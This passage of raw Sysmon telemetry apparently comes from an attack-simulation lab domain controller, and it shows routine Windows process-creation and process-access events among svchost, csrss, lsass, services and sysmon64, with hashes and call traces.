C:\\Windows\\System32\\vdsldr.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Virtual Disk Service Loader\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: vdsldr.exe\r\nCommandLine: C:\\Windows\\System32\\vdsldr.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=E5C3B321907C73E782280BE427599F14,SHA256=43F0AF018DC498619222CF16E1C9BDE2F7710732686DC361E4D692B7EFB4DDF9,IMPHASH=D6207B24445355CEA1AC6C8E9A2BA2B9\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.458","ProcessGuid":"{90617006-3FE4-5F2D-0000-00104F490200}","Image":"C:\\Windows\\System32\\vdsldr.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Virtual Disk Service Loader","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"vdsldr.exe","CommandLine":"C:\\Windows\\System32\\vdsldr.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=E5C3B321907C73E782280BE427599F14,SHA256=43F0AF018DC498619222CF16E1C9BDE2F7710732686DC361E4D692B7EFB4DDF9,IMPHASH=D6207B24445355CEA1AC6C8E9A2BA2B9","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 